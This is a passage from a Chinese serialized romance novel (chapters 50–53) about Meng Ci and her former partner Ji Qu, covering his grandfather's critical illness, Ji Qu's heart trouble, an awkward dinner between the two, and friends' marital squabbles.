但是不知道怎么的,消息传着传着就变成了两人好事将近。 不仅一起给家人订做了礼服,还在周边考察了一番合适的结婚地点。 这也是为什么要给长辈定旗袍的原因,孟慈和丁昊打算在南方办婚礼。 等到安娜等人听说的时候,这传闻已经成了板上钉钉的事实。 安娜坐在沙发上问赵一辰她怎么不记得孟慈喜欢江南风格。 赵一辰更是迷糊,只是说自己也没听说,不过丁昊回上海了是真的。 “我还是不敢相信。”安娜拿着赵一辰刚刚剥好的松子思索,好一会儿才吃一颗。 赵一辰用湿巾擦擦手,便从沙发上起身穿衣服准备离开。 安娜这才回神:“你晚上和季曲哥一个局?” 结了婚之后,安娜也习惯随着赵一辰喊季曲为哥。 “哥不去,季老爷子又不舒服,他要回家。”赵一辰穿好衣服又走回沙发前亲了下安娜的脸颊。 当然惹来安娜的一拳暴击,赵一辰笑嘻嘻的喊疼,倒也没躲。 安娜把手心里剩下的松子仁塞了几颗给赵一辰:“咱们用不用去看看?” 赵一辰嚼了嚼:“等两天吧,等我打听清楚。” “季老爷子最近一年都进了多少次医院了,到底哪 不好啊?” “不知道,季家消息瞒的严,季澈哥也一年四季不在家,季曲哥又和他妈搞成那样,现在我小姨都不敢去老宅溜达问好。” 安娜点点头:“那你记得问问季曲哥有没有什么需要帮忙的,反正咱们也没什么大事。” “行。”赵一辰应下。 季曲到医院的时候外面刚好开始下雨,肩膀上落了些雨滴,等到走到病房前,那些雨滴已经氲进外套,变成潮湿的汽压在肩膀上。 季亮鸿还在昏迷,季荣宝守在床前,华婉也在,只不过已经在旁边的沙发上睡着了。 见季曲进来,季荣宝伸手指指洗漱间,示意自己要离开,季曲点头。 走到病床前看了看季亮鸿,老爷子瘦了不少,两颊的颧骨高高地突出来,活像座嶙峋的山。 氧气面罩的带子有些勒脸,季曲伸手轻轻地调整几下,露出已经被压红的皮肤,因为岁数过大而深凹且难以回弹。 静静地看了季亮鸿一会儿,季曲才离开病床,把自己的外套脱下来搭在一旁,走到沙发前取了件毛毯盖在华婉身上,才走进洗漱间帮季荣宝摆弄毛巾。 一层木板把病房隔成两个空间。 季荣宝接了盆温水,往里泡了点草药,又把毛巾浸在里面,掐着手表等时间。 看着季曲进来,她小声说:“你一会儿走时候顺便把你妈带走,让她回家睡,这儿有我呢。” 季曲挽起衣袖,又加了一块毛巾在水盆里,说:“我一会儿让司机来接她。” “你就不能送送?”季荣宝对这种脱/裤子放屁的事保有不屑态度。 季曲眼皮都不抬,用温度计量量水温,然后又往里面兑了点热水,再拿温度计试一次,直到到达要求温度才停。 季荣宝叹了口气:“你说你和你妈闹这么僵干嘛?顺着她几分会死啊?” “你怎么不和你前夫复婚?要是你复婚的话估计爷爷现在立马就能睁眼。”季曲回怼道。 “你……”季荣宝语滞,“你和我比干嘛?我多大你多大?” “你大不应该更懂事?”季曲看了眼时间,端着水盆走出洗漱间,准备给季亮鸿擦身子。 季荣宝被怼的无奈,却也说不出个什么。 自从孟慈离开之后,季曲就变成这幅六亲不认的模样,和华婉生气不说,连带着整个季家的人都见不上季曲几面。 浸泡了药水的毛巾不算好闻,季荣宝每天都得带上口罩才能操作,只有季曲,能面不改色地进行手里的动作。 季荣宝负责上半身,季曲负责下半身,两个人各司其职,互不打扰。 擦到一半,季荣宝突然想起来药包要用完了,小声安顿季曲再去拿些,季曲点头。 季荣宝又说:“你到时候带着薄娴一起去,我前两天见她的时候她好像也脸色不太好,去调理调理。” 季曲仔细地擦过老爷子的每一寸肌肤:“用不着,她那是相亲相的。” “那小姑娘也要结婚啦?”季荣宝有些惊讶。 这些小朋友都是自己看着长大的,说实话大人们也存了些要把薄娴给季曲娶回来做媳妇的想法,但是长大之后两个人属实没什么缘分,就也作罢了。 但是孩子们纷纷到了要结婚的年纪,季荣宝难免感叹几分,“她怎么也要结婚了,小时候那么小一个小人,长得像洋娃娃似的,我可没少给她编辫子。” 季曲手里的毛巾有些干了:“你都结了又离了,怎么人家不能结?” 季荣宝瞪着季曲:“能不能好好聊天?” 季曲已经擦完一条腿,点头示意季荣宝继续。 季荣宝撇撇嘴:“李港呢?他结吗?” 季曲想了想:“明年吧,他家老人去了还没到三年,带着孝呢。” “哦,那是得等等。”季荣宝突然想到什么,往季曲身边靠了靠,一副严肃又不认真的算命先生模样。 指了指季亮鸿,才附到季曲耳边悄悄说:“你要是有合适的就赶快,要不然……” 季曲是个极孝顺的人,一般是不会对长辈出手的,但是对于失格失分的长辈,他出手可以说是快狠准。 “啪”的一声响,清脆悦耳,华婉都被吵醒了。 季荣宝捂着额头低声喊痛,双眼顿时含满了泪,季曲还是专注在擦身这项工作上,一个眼神都没分出去。 华婉拿开身上的毛毯,走到病床前问怎么了。 季荣宝当然不会说自己因为乱说话被侄子弹了个脑崩的丢人故事,只是说自己不小心撞到头了。 看着季荣宝迅速红起来的额头,华婉找护士要了个冰袋,让季荣宝先敷着,别后期再发肿。 这边折腾着,季曲那边已经完工,给季亮鸿盖好被子又掖紧被角,季曲捞起自己的外套准备离开。 华婉看到自己儿子要走,连忙跟了出去。 季曲的腿脚快,华婉来不及追就看到人消失在走廊尽头,公共空间也没法大声喊,只能看着难得一见的儿子再次离开。 回到病房,季荣宝正站在窗户上朝外看,华婉也走上去也季荣宝并排。 “季曲近几年瘦了好多。”季荣宝看着季曲孤身一人走进雨夜。 华婉看着,没说话。 季荣宝轻飘飘地开口:“那小姑娘我见过一次,挺好的。” 华婉依旧没说话。 “薄娴也在相亲,李港估计也快了,都是从小一起长大的,怎么就咱们家的落了单。”季荣宝有些遗憾,“这孩子啊,姻缘路有些坎坷,随我了。” 直到季曲上了车,华婉才开口:“别吧,我可不想他结了婚又离婚。” 季荣宝:“……” 得,母子一个样,都不会好好聊天- 孟慈这段时间又开始脱发,可能是因为换了水土,也有可能是工作前的焦躁渐长。 一洗头发就一把一把地掉,终于掉到自己都开始害怕,终于开始翻之前治疗的方子。 大学毕业那段时间孟慈也在脱发,吃药扎针都不见好,后来还是季曲领着她去看了一位中医大夫,把了脉配了内服和外用的药,再加上饮食调理才慢慢好了过来。 但是之前的方子怎么找都找不到,前两年用的手机也彻底报废,根本找不到和药方有关的蛛丝马迹。 还好当时留了那位大夫的联系方式,只不过这次没有季曲的情分在,孟慈想了半晌,最终还是去医院挂了号。 总不好自己眼巴巴地打电话过去说您好,您还记得我吗?对,是我,我就是季曲之前领过去的那位女孩子……算了吧,丢人。 脱发可能是现代人的通病,孟慈排了整整一上午都没看见前边的队伍有任何变化,还没等她看上医生,上午的问诊时间已经结束了。 孟慈坐在原地思考,是直接就在这里等一中午,成为下午的第一位病人呢,还是丢个人? 天人交战的时候,孟慈的面前突然压下一片人影。 “孟小姐?是孟小姐没错吧?” 孟慈抬头,看到一张有些熟悉的脸庞,在脑海中搜寻了一会儿,终于对上号,“吕大夫?” “您还记得我呀?我刚刚老远看着就像你。”吕薇笑着扫了眼孟慈手里的挂号单,“怎么?又掉头发了?” 孟慈点头。 太好了,不用丢人了。 吕薇是那位老大夫的学生,孟慈之前去问诊的时候都是她在接待,后续的用药咨询也是她在做。 幸运的,吕薇下午刚好要回老大夫那儿办点事。 吕薇拉着孟慈:“走吧,下午让我师傅给你看看。” 孟慈有些不好意思:“不太好吧,要不我先预约下挂个号?” 吕薇仿佛听到什么笑话,毫不掩饰地笑起来,整的孟慈一脸懵。 “我师父早就不对外看诊了,找来的都是他的老病人或者老朋友。”吕薇笑够了才解释,“你直接和我去就行。” “那就算了吧,我还以为是对外开放的呢,要是你说的这样那我就不过去了。”孟慈只是想走正常流程,要是这 样的,她宁愿回医院排队。 吕薇拉着孟慈不见外道:“真没事,你不是之前也看过吗,这就算老病人了,而且季总也偶尔领他家人过来,都熟悉。” “但是我和他分手了。”孟慈解释道,“所以就不方便再用人家的关系了。” 吕薇顿顿,几秒后摆摆手,“那你用我的关系成吧?我的面子也够用,之前给你抓错药你都没怪我,也没和我师傅说,要不然我当时就被打死了,就当我还你个人情……” 抵不住吕薇的热情,孟慈直接被吕薇塞到了她的副驾驶,连安全带都一起扣好了。 等到吕薇绕到车子的另一边上来,孟慈才继续说:“真不用麻烦了,而且你配错的药我也没喝,没什么影响。” 吕薇熟练地发动车子:“那是因为季总聪明,一闻就知道药的成分不对,要不然我可就罪过大了。” 孟慈无法,只能先请吕薇吃了顿午饭,又在附近买了些补品等物,不对外问诊的大夫的酬金最难支付,先对付一下。 吕薇的师傅独住一栋小院,一层是看诊抓药的地方,吕薇先是进去和她师傅简单说了几句,然后才叫孟慈进去。 孟慈硬着头皮进去把手里的礼盒放在一旁,而后才客气地打了招呼,好在老大夫记忆力好,还记得孟慈是谁,省了她多余冗长的自我介绍。 吕薇去旁边的柜子里翻了本极厚的问诊记录出来,翻找半天,找到孟慈的记录后放在她师傅旁边,而后向孟慈使了个眼色,就去忙其他的事了。 中式风格的厅堂,孟慈坐在雕花椅上伸出手等待老大夫把脉,而后又陆续回答几个问题,等着老大夫断诊。 其间孟慈看着桌上的金鱼碗走神,布满绿藓的石头沉在碗底,两尾金鱼于其中游走,再自由不过。 问诊时间不长,老大夫又给孟慈配了内服外用的药方,一边解释一边写。 “给你加了点补气血的药,平时少吃寒凉,生理期准吗?” “不怎么准,还很疼。” “回去可以买些阿胶、玫瑰之类的煮水喝,天冷了要注意保暖,少喝酒,少熬夜,多注意调理,不然以后生育方面也会有些难。” 孟慈对于婚姻尚且在犹豫,更无心子女,只是点头说好。 方子几下便开好,安顿了复诊时间,老大夫便让孟慈去外面抓药。 孟慈道谢,起身回头,就看到门外的季曲,脸上架着副金丝框眼镜,穿着打扮明显是从公司过来。 与利落精干的一身不同的是,孟慈看到季曲的眼里有些没处理好的愕然。【你现在阅读的是 】 50-60 第51章 第51章拙劣借口 几秒的对视,孟慈先调整好状态,颔首示意,季曲跟着点了点头。 孟慈去取药,季曲则找大夫有些话聊,两个人擦肩而过。 那边吕薇按照方子抓好药,又细细安顿给孟慈各类注意事项,一直到结尾时,季曲才又出现。 吕薇见状,便住了嘴,和孟慈留了联系方式后回到屋子里抓药。 季曲看了眼孟慈手里的药包,很沉,孟慈拎着袋子的右手手腕有些吃力到发白。 伸手接过,孟慈原本还在推脱,但是季曲的手毫不见外地碰到了孟慈的手,她便触电一般地先松开手。 季曲看着孟慈抽走的手腕,低着头不知道在想什么,过了几息,才抬头说:“走吧,送你回去,这边不好叫车。” 孟慈的车还留在医院的停车场,季曲要位置时她自然地报上医院的位置,季曲也没再多问,踩着油门离开。 两个人在车上没什么交流,中药味逐渐散了满车,孟慈压了点窗户,让新鲜空气流进来。 越往市中心越堵,赶上了晚高峰,一直到天黑两人还堵在路上,前段的车流没什么要通的痕迹。 季曲拿下鼻梁上的眼睛,捏了捏鼻根处,提出建议:“要不然先吃个饭?” 孟慈摇头:“你可以在前面把我放下,我坐地铁回去。” “何必和我这么生分,吃个饭而已。” “我还不饿。”孟慈回头去够放在后座上的中药。 手刚探出去一段,就被季曲握住手腕,他的体温要比自己高些,孟慈挣开。 季曲的手停在原地,然后握成拳,收回自己身边,“我连着熬了几天,实在没精神再开车。” 听到这儿,孟慈侧过头看季曲的脸,眉眼间是有几分疲倦。 但是对于季曲来说,为了一个案子熬个几天是再平常不过的事。 似乎是知道孟慈在想什么,季曲的视线从前方收回,落在孟慈不信任的双眼,笑着说他也是奔三的人了,身体当然比不了之前。 这也算不上什么满分的借口。 季曲无奈地说:“要不然你开?” 孟慈认车,考驾照时要用平常练习用的教练车,后来也是只开一辆,这也是为什么她始终留着第一辆车的理由。 不是念旧,而是不习惯。 前方的车流挤牙膏似的挪了几米,季曲没再等孟慈的回答,利落地打着方向盘转了个圈。 路越开越熟悉,一直到目的地,孟慈才知道季曲要去哪吃饭。 季曲打开安全带准备下车,反观孟慈一动不动地坐在副驾驶。 季曲转头:“怎么不下车?” 孟慈看着地下停车场:“你家什么时候变饭店了?” “刚刚离我家最近,饭在来的路上。”季曲丝毫不觉得有什么问题,反倒衬得孟慈小题大做一样。 “季曲你……” 还没等孟慈说完,季曲就已经下车绕到孟慈那边,打开车门,一副“请君入瓮”的模样。 “我叫车。”孟慈低头按着手机屏幕操作,还没等定位到所在地就被季曲把手机抽走。 季曲扯了扯脖间的领带,给自己散了几分正经,“走吧,吃完叫司机送你。” 手机被人拿着离开,孟慈愈发烦躁,对着季曲所在的方向说:“我觉得我们没必要一起吃饭了吧?季总?” 季曲离开的脚步停了一下,然后转身,手里握着孟慈的手机磨挲,似乎在思考什么。 孟慈快步走到季曲面前要拿回自己的手机。 还没等碰到一个边,季曲就把拿着手机的手举过头顶,很明显是孟慈探不到的高度。 “你这样有意思吗?”孟慈皱眉质问。 季曲低头看着孟慈,看着她因为气愤而微微发红的耳畔,轻笑一下:“有啊,可太有意思了。” 孟慈不解:“你很闲吗?和我在这儿闹什么?” 季曲点头:“很闲,所以想找你吃个饭,不赏脸就算了。” 然后季曲带着孟慈的手机上了电梯,冲十几米开外的孟慈摇摇手机:“你也可以不要,一部手机而已,你应该买的起。” 与此同时,手机的屏幕亮了,季曲打眼一看,是丁昊的来电,不爽的心情到达顶峰,“有你电话,接吗?” 手机铃声回荡在空荡的停车场,一声声地响,像是催人一般。 孟慈最终是在季曲家的书房回的丁昊电话,季曲留在客厅没跟进来。 孟慈压了压心里的火气,才回拨过去。 丁昊几乎是秒接。 孟慈调整好语气:“什么事?” “没什么,我今天应该不会加很久的班,要不要看个电影?” “看电影?”孟慈不知道为什么丁昊突然要看电影。 丁昊在那边回答:“我们的合作方送了不少电影票,快过期了,我想着你要是没什么事的话我们可以看一场。” 孟慈没什么精神欣赏艺术:“算了吧,你和你的朋友们去就好了。” 可能是察觉到孟慈口气不太对,丁昊又是一通嘘寒问暖,孟慈通通说没事,只是有些累,想早点休息。 丁昊又安顿几句,才挂了电话。 孟慈从书房出来,餐桌上已经摆满晚餐,季曲正坐在餐椅上舀汤。 看到孟慈出来,季曲指了指自己对面的位置,让她过来吃饭。 孟慈顿了顿,实在搞不清季曲的意思,她觉得自己分手时说的再清楚不过,没什么纠缠的必要。 刚刚落座,孟慈的面前就被放了一碗汤。 季曲又用公筷给孟慈挑鱼肉:“绿豆百合,降降火气。” 孟慈没动筷,她打算把话说完就走,“季曲。” “嗯?”季曲把鲜嫩的鱼肉放到孟慈面前的碗里,然后才抬起眼。 孟慈定了定,说:“我们已经分手了,是因为我们彼此不合适。” 季曲点头,把筷子放到一旁,双手交握放在身前,让孟慈继续。 “这段关系里,我确实得到很多,但是我当时离开后也在尽量弥补,你送我的全部首饰包包、钻石金条,我全部邮寄到你家,至于公司,我卖完股份后也给你的账户打了一笔钱,算是你这么多年对我的投资,所以在物质方面,我应该不欠你什么。” 孟慈说完这一段,停了一会儿等季曲的回应。 季曲点头:“没错。” 孟慈松了一口气,然后继续。 “至于感情方面,当然无法用任何可以计价计量的方式来衡量,你当然付出很多,但是我也投入不少……所以,我没法还给你什么等价物。” “当然。”季曲再次赞同。 孟慈抿了抿嘴,她说得有些嘴干,“所以,我们应该已经算两清了,你也没必要再和我一起,按理说,我们俩生活在两个圈子,所以以后应该也没什么见面的机会,如果有,我也会尽量回避,我们就不要互相打扰了,你说呢?” 今晚点的是孟慈之前还算喜欢的京味私房,但是孟慈连看都没看,一坐下来就开始和季曲掰扯两清不两清的问题……季曲看着满桌珍馐,也没了胃口。 孟慈说完自己想说的,迟迟等不来季曲的回答,便把他的沉默当做默认,准备起身离开。 餐厅的灯束投在餐桌中央,温柔的光芒笼罩在两人身上,随着孟慈的退出,沐浴灯光的只剩季曲一个人。 “我能问一句吗?”季曲在孟慈手握上门把的同时,终于出声。 孟慈被叫住,落在门把上的手没松,微微侧身,“你问。” 季曲声线微凉:“你要结婚了?” 这个问题在安娜婚礼上已经出现过一次,孟慈并不觉得自己的婚姻问题需要昭告天下,更没必要和季曲交代。 这是个孟慈不想回答的问题。 季曲又说:“我就这一个问题,麻烦你给我个回答。” 隔着空气,孟慈感受到季曲沉重的眼神压在自己身上,迟疑的同时,季曲已经从餐桌上起身走到自己对面。 “你要结婚吗?” “在考虑。”孟慈没把话说死,“我确实在考虑,我也不小了。” 不过短短数日,孟慈的答案就已经有了转变,季曲开始疑惑那位到底有什么魔力,竟然让孟慈转了性子。 高高悬在心头的问题有了答案,落地时砸了个窟窿,引得沙土俱下,季曲心里有些闷。 “你……”季曲刚想再开口,突然被手机铃声打断,是季荣宝打来的。 这个点,季荣宝应该在医院。 季曲接起电话,季荣宝的声音清楚地传过来,连带着一丝恐惧。 “季曲,老爷子进急救了……” 一旁的孟慈也听到了,季亮鸿生病的消息传了很久,但是始终没人知道真假,这下,孟慈倒成了知晓消息的“自己人”。 挂断电话,季曲换了鞋就要离开,孟慈看他状态不太对,毕竟差点穿了两支不同鞋子的人,应该算不上清醒。 孟慈和季曲一起等电梯,听到季曲的呼吸有些急。 “司机到了吗?我送你过去吧。”孟慈想着毕竟不是仇人,便多问了一嘴。 季曲摇头:“司机送你,我叫了车。” “没必要的,我自己能走。”孟慈看着不断上升的数字开口,“或者司机先送你再送我?这样行吗?” 季曲可能是真的累了,懒得纠结这些,说了声好。 在去医院的路上,车内始终沉默。 还剩一个路口的时候,司机停在路边接上了孙谦。 他看到车内还坐着孟慈的那刻眼里多了些震惊,不过明显现在不是好奇这些的时候。 孙谦从副驾驶回头,说医院门口已经堆了不少媒体,需要从地下进,季曲点头,眼神始终落在窗外。 观察了下季曲的状态,孙谦看着季曲有些发白的唇色,从包里掏了一瓶救心丸出来,问:“季总,您要不要先含几颗?” 季曲接受了这个提议,从小瓶子里倒了三五粒出来,压在舌下含着。 借着这番动作,孟慈才看到季曲的鬓角不知道什么时候已经被冷汗打湿了,连带着他身上的白衬衣,都有些洇得变深几分颜色。 到了地方,孙谦和司机先下车,在一旁等待季曲。 季曲理了理呼吸:“一会儿让司机送你回家。” 可能是还没调整好,季曲放在膝盖上交握的双手有些抖,在炎热的夏夜,像是在打冷战。 孟慈没见过季曲这个样子,嗅着空气里的药味,不知道是季曲唇间的,还是自己下午配好的那一大包。 坐在车上目送着季曲离开,司机这才又回到车上,问孟慈的家在哪儿。 孟慈报了位置,还没等司机驶出停车场,孟慈就收到孙谦的信息。 【孟总,您能不能先别离开,季老爷子不太好,我这边有些分不开身,季总最近身体也不太好,我怕我顾不过来。】 身体不好找大夫去医院,留自己能有什么用,孟慈对孙谦的借口不太受用。 司机突然开口:“孙秘书的药落在车上了。” 孟慈倾身去看,黄色的小瓷瓶正安安静静地躺在座位上。 “您要是不着急,我给孙秘书送一下?” 一瓶药而已,医院最多的就是药,孙谦的后手也有些拙劣。 一直到拐出医院遇到红灯停下,后座的孟慈才开口:“回去吧。” 司机立马调转方向,朝刚刚的方向驶回。 孟慈握着手机给孙谦回信,说自己暂时先在楼下等着,那边极快地回了句谢谢。 月光落在马路上,亮到能照清空气中漂浮的尘埃。 想到急救中的季老爷子,想到面色铁青的季曲,想到弥留的孟擎…… 孟慈望着灯火通明的医院大楼,叹了一口气。 第52章 第52章外人 季亮鸿从急救室推出来的时候已经凌晨四点,季家的人站满走廊。 医生简单说明了季亮鸿的身体情况。 有人追问季亮鸿到底什么时候能好,医生沉默一会儿后给季荣涛递了个眼神,季荣涛便拉着人去了办公室,让季曲处理现场。 其他人想跟,碍于季曲的冰冷眼神而收住脚步。 季曲站在人群中发话:“大家都守了一晚,回去休息休息换身衣服再来,另外……都管好自己家的人。” 季亮鸿住院的事被瞒地密不透风,只有亲近的几支知道。 季芷是个聪明人,率先接过话茬:“那我们就先走了,表哥有什么事你随时打电话。” 季曲点点头,在手术室门口等季亮鸿出来。 诺大的走廊只剩下季曲和华婉两人,孙谦被支去打发媒体,季荣宝已经回病房收拾等着接人。 医院禁烟,季曲咬着烟草的滤嘴过瘾。 期间接了季澈和李港的电话,季澈在外出差,打了报告也要一周后等到接替才能回来。 又过了半个小时,护士出来说十分钟后季亮鸿就会被推出来。 季曲从冰冷的椅子上站起来,看着紧闭的感应门等 人。 华婉看着季曲对待护士的态度都要比自己温柔几分,不免心生埋怨。 看着有些疲惫的儿子,却也没忍心再怪,只是担心地开口:“一会儿你也先回家吧,这有我和你姑姑守着,出不了什么问题。” 季曲没说话,视线依旧停留在紧闭的门上。 华婉继续说:“集团那边,你爸也能上上手,别把压力都放在自己身上,妈担心你吃不消。” 空气里的消毒水味很重,空调温度也低,季曲鼻间有些不适,回头看了华婉一眼,看着一贯端庄华沃的人竟也生了不少白发。 “知道了。”季曲把自己的外套脱下来披在华婉身上,凌晨时分,多少有些凉气。 些许的温暖让华婉以为儿子终于和自己过了那件事的气,脸上不由自主地溢出几分笑意,“我让阿姨给你熬点粥?回去就能喝。” “不用了,我回我自己那。”季曲又站回原位,连眼神都不屑于分出一些。 华婉脸上刚刚扬起的笑意又被冻结。 季亮鸿被推出来时还在昏睡着,脸色又苍白几分,季曲定神看了看,便和一众医护把人送回病房。 季荣宝看到人后不免又掉了些眼泪,季曲揽着她的肩膀试图安慰,不过几分钟,季荣涛便回来了。 病房里只剩下自己家的人,季荣涛脸上的悲伤再无掩饰,他走到床边拉着季亮鸿的手止不住地叹气,大家自然就都明白了。 等到天光大亮,季芷问过季曲的许可才赶过来帮忙,季亮鸿带着华婉回家休息然后要去趟公司。 季曲被勒令回家休息一天,毕竟他刚从国外谈完生意回来,还没等回家放好行李就去给季亮鸿取药,一直到现在,早就该撑不住。 季荣宝已经在隔壁的休息室睡下,季曲离开时又安顿给季芷有问题一定要第一时间联系自己才走。 季曲的司机被安顿去接请来的专家团队。 孟慈自己在车上,期间竟然迷迷糊糊地睡了过去,直到被季芷敲了敲车窗才醒来。 季芷弯下腰和孟慈打招呼,孟慈笑了下,开门下车。 “孟小姐,好久不见。”季芷退后一步,看着衣衫有些打褶的孟慈问她是不是在车子上等了一晚上。 孟慈点点头,无法解释自己作为朋友的出格行径,其实好像她也没等多久。 季芷勾起嘴角:“我上去换季曲哥下来,麻烦你再等一会儿。” 孟慈:“好。” 季芷临走时还顺手给孟慈递了个保温袋,说里面有些早点,要让季曲多少吃一些再吃药。 季曲之前也没什么严重的疾病需要早晚吃药,看着孟慈有些迷茫的眼,季芷解释了一番。 “前年开始季曲哥的身体就出了些问题,总是心脏不太舒服,有一次在办公室晕倒了,醒来之后大夫就让静养一段时间,但是季曲哥不遵医嘱,再加上他和他妈妈的关系也不太好,身边也没人照顾,孙谦一个人也没法周全全部,时间一长,就变成这样了。” 孟慈看着季芷,问:“你们家有心脏病病史吗?” 季芷摇头:“大夫说是后天的,工作压力、生活压力,或者是严重的情绪刺激……” 季芷举了些例子,但是也没说清楚具体的病因。 孟慈想到了季曲早前含着的药丸:“很严重吗?” “还好。”季芷笑笑,“还能控制,季曲哥有分寸,他总不能抛下我们这一大家子倒下,这一辈都靠季曲哥和季澈哥撑着,我们这些小的还不成气候。” 季芷也全然不把孟慈当外人,什么话都说,简单交谈几句,季芷说自己得先上去了,便先离开。 没好奇孟慈为什么会出现在这里,季芷仿佛真的把自己当成来帮忙的自己人。 孟慈看着季芷进了门,没忍住摸了摸自己的胳膊,上面爬了一层鸡皮疙瘩。 果然没等一会儿,季曲就出来了。 孟慈隔着车玻璃看到季曲走到一旁的垃圾桶前点了根烟,手拢着火苗,袅袅烟雾盘旋在他身旁,像风雨欲来的灰色气旋。 抽完一根,季曲站在原地左右抻了抻脖子,连衬衣上的褶皱都带着动了几分,简单活动了下身子,季曲才踩着步子往车跟前走。 离得近了,孟慈才看清季曲下巴上冒出的青色胡茬。 季曲直接打开车门坐上驾驶座,根本没察觉后座上还有人,还是孟慈弄了点声响出来,季曲才在后视镜里和孟慈的视线对撞。 辨认几秒,季曲皱眉回头:“司机没送你回家?” 孟慈说自己没那么累,她拿起一旁的早点,“季芷刚刚给的,让你吃点再吃药。” 孟慈的脸色也算不上太好,季曲当然不信孟慈的说法。 只可能是孙谦编了些什么把人留了下来,孟慈刚好有些拉不下面子罢了。 接过保温袋放在一边,季曲先送孟慈回家。 孟慈看着满眼红血丝的季曲不免怀疑道:“你能开车吗?要不要等司机?” 季曲在导航里看着孟慈家的地址,是新的,“没事,我就算了,总不能把你的命也不当回事。” 季曲把车停在小区门口,孟慈没立马下车。 她在想自己应该说些什么,能说些什么,思来想去一路,孟慈发现自己好像没什么能说的。 季曲看出孟慈的纠结,好心放人,“走吧,我一会儿还有事。” 孟慈自然听懂这是逐客,顺从地下了车。 季曲利落地踩动油门离开,孟慈看着离去的车子消失在道路尽头,才转身走进小区。 又过了几天,安娜约孟慈吃饭,理由是要和赵一辰离婚,事态严重到孟慈没法拒绝说不。 到饭店后,服务员带着孟慈七拐八拐地找到一个小包厢,本来还奇怪怎么找到这么隐蔽的地方,结果进门的一瞬间就看到邓姚也在,孟慈自然就明白了。 邓姚看到孟慈进来的同时就像看到救世主一样:“祖宗你可来了,我一会儿还有活动,她死活不让我走。” 安娜已经喝得有些高,抱着邓姚的一只胳膊不在意道:“一个破活动,推了!” “老板娘,你说话算数吗?”邓姚看着安娜问。 “当然。”安娜拍拍胸脯,“有事就来找我。” 邓姚听到这儿顺势把手里的包扔到角落,拿起一支空酒杯倒了半满,和安娜说臣遵命。 孟慈在两人对面落座,给自己倒了杯果茶。 邓姚看了眼孟慈:“你就喝这?” 孟慈点头:“一会儿送你们回家。” 桌上的热菜几乎都没动,倒是酒下的飞快。 安娜又抱着孟慈讲了一遍赵一辰的恶劣事迹,叫嚷着天一亮就要去办离婚。 孟慈细细地听下来,根本不是什么大事。 无非是两人生气吵架拌嘴,赵一辰赔罪的礼物买的晚了些,哄人没哄到安娜心坎上。 “他那么大个公司,又没有兄弟姐妹帮衬,自然忙一点。”孟慈站在中立角度帮赵一辰说了几句话。 邓姚也帮腔:“就是,我老板又不是出去花天酒地,是给你挣钱去了,白花花的银子哎,你要不要?” 安娜撇撇嘴:“呦,又不是李港没赶上你生日的时候了,那他不也是因为天气原因航班停运,你不也闹着和人家分手。” “废话,他那是给自己挣钱耽误了我的生日。”邓姚面不改色,“又不是我让他去那么远谈项目的。” 安娜不甘示弱:“废话,不然你养他?” 邓姚喝了口酒,辣到舌头发麻,“怎么?我养不起?老娘现在挣得虽然赶不上他,但是养个他没什么问题的吧。” “呦呦呦,真是大女人有本事。” “那可不,今非昔比懂吗?” 孟慈看着两个人斗嘴不免好笑,在两人休息的间隙才插了一句,“麻烦把两位的住址告诉我,不然一会儿代驾可不知道往哪送你们。” 邓姚指着安娜:“她老公一会儿来接她,我助理一会儿过来。” 安娜从沙发上爬起来 :“你家那个呢?” 邓姚拿出手机给孟慈翻助理的电话号码,“打这个就行。” 孟慈用自己的手机保存号码。 “哎,问你呢。”安娜伸手扒拉邓姚,没品住力度把人手里的手机给拍掉地了。 邓姚啧一声:“你是牛托生吗?这么大劲,李港谈合同去了。” 两个醉鬼争着要爬到桌子底下捡手机,孟慈怕两人又磕着碰着,便说自己来。 又喝了一会儿,安娜直接醉得要入睡,这个局才算结束了,等着各家的人把这两位接走,孟慈才能放心离开。 邓姚的助理先到,把人搬上车后和孟慈打了招呼便飞快地离开。 赵一辰后脚也到了,把安娜放在后座上才从车里出来和安娜打招呼。 赵一辰冲孟慈道谢:“辛苦了陪她闹到这么晚。” 孟慈把安娜的包递给赵一辰:“没事,她就是想让你多陪陪她。” 赵一辰点头:“我知道,但是最近确实忙不开。” 后座的安娜开始不安分地翻腾,赵一辰见状便也收了话口,和孟慈说下次再聊便上了车。 孟慈也找到自己的车子启动,到家已经凌晨,孟慈洗漱完坐在厨房热药喝,一天三次,孟慈总是会忘记。 砂锅里的漆黑药水咕咚咕咚地冒着小泡,药味开始弥漫,苦涩的味道通过鼻腔深入到心肺。 孟慈一口气喝到碗底,没忍住干呕几下,从冰箱里取了块巧克力含着,含到一半,发现内里是酒心的,又跑到洗漱间把酒吐出来,重新漱了口。 躺在床上,孟慈打开软件刷了刷新闻,又过了半个小时,困意终于上涌,就在关手机的前一秒,通知栏突然推送了一条最新消息。 孟慈从床上坐起来,点开看了几条,大多使用了病危的字眼,还有的媒体已经拍到了季亮鸿所住医院的照片,连串的豪车驶进去,下来的人大多满脸严肃。 其间,还有一张照片,出现了季曲模糊的脸。 目光停留在通身漆黑的季曲身上,过了很久,孟慈活动了下因为保持同一个动作而酸胀的脖颈。 孟慈从床头扯了只枕头抱在怀里,可能是有些紧张,舌根出有些泛出苦味。 孟慈取了床头的杯子,含了一小口冰凉的水在嘴里。 还没等苦意散尽,赵一辰的电话便打了过来,孟慈接起来,是安娜的声音。 安娜的声音很急:“慈慈啊,你知道季老爷子的事吗?怎么突然就病危?” 孟慈反应过来季亮鸿的病情应该还没泄露,自己上次要不是在季曲家碰巧听到季荣宝的电话,应该也是被蒙在鼓里的“外人”。 但是赵一辰比较和季曲沾了些亲,竟然也不知道。 “我也不清楚,刚刚看到新闻才知道。”孟慈斟酌着回话。 安娜说:“我们现在正往过赶呢,邓姚说李港也不知道,怎么瞒的这么严?” 孟慈搪塞道:“可能不方便对外说吧。” “那我们又不是外人。”安娜有些气,再加上酒还没醒,只是止不住地埋怨,“怎么把我们当外人啊……算了慈慈我们现在去医院看看,你先休息吧。” “好。” 孟慈挂了电话,看到邓姚发来的消息,和安娜一样,询问自己知不知情。 按照回复安娜的套路回复了邓姚,然后退出聊天界面,按下锁屏键把手机扔回床头,孟慈再次躺下。 这晚睡得不太踏实,在新闻里看到的季曲,反复出现在眼前。 第53章 第53章“怎么还来招惹我?”…… 怀抱着说不出的忐忑不安,孟慈也准备正式开工。 公司地点在市中心,高耸的写字楼几乎要贯穿天空,前一周都以熟悉适应为主,还不用跟什么案子。 再加上是外企,工作氛围也轻松自在。 孟慈有自己独立的办公室,方萤还在下班后来过一趟。 方萤送了盆发财树给孟慈,放在办公桌旁,说这是最好的位置。 